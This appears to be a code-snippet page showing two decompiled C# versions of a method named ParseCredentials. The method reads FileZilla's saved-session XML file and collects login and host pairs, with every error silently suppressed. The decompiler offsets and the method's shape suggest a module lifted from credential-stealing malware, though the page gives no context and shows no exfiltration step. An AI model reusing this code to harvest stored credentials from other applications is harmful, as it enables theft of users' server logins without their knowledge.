示例#1
0
        // Token: 0x060002AB RID: 683 RVA: 0x0000BA80 File Offset: 0x00009C80
        private static List <LoginPair> ParseCredentials(string Path)
        {
            List <LoginPair> list = new List <LoginPair>();

            try
            {
                XmlTextReader reader      = new XmlTextReader(Path);
                XmlDocument   xmlDocument = new XmlDocument();
                xmlDocument.Load(reader);
                foreach (object obj in xmlDocument.DocumentElement.ChildNodes[0].ChildNodes)
                {
                    LoginPair loginPair = FileZilla.ParseRecent((XmlNode)obj);
                    if (loginPair.Login != "UNKNOWN" && loginPair.Host != "UNKNOWN")
                    {
                        list.Add(loginPair);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
示例#2
0
        private static List <LoginPair> ParseCredentials(string Path)
        {
            List <LoginPair> loginPairList = new List <LoginPair>();

            try
            {
                XmlTextReader xmlTextReader = new XmlTextReader(Path);
                XmlDocument   xmlDocument   = new XmlDocument();
                xmlDocument.Load((XmlReader)xmlTextReader);
                foreach (XmlNode childNode in xmlDocument.DocumentElement.ChildNodes[0].ChildNodes)
                {
                    LoginPair recent = FileZilla.ParseRecent(childNode);
                    if (recent.Login != "UNKNOWN" && recent.Host != "UNKNOWN")
                    {
                        loginPairList.Add(recent);
                    }
                }
            }
            catch
            {
            }
            return(loginPairList);
        }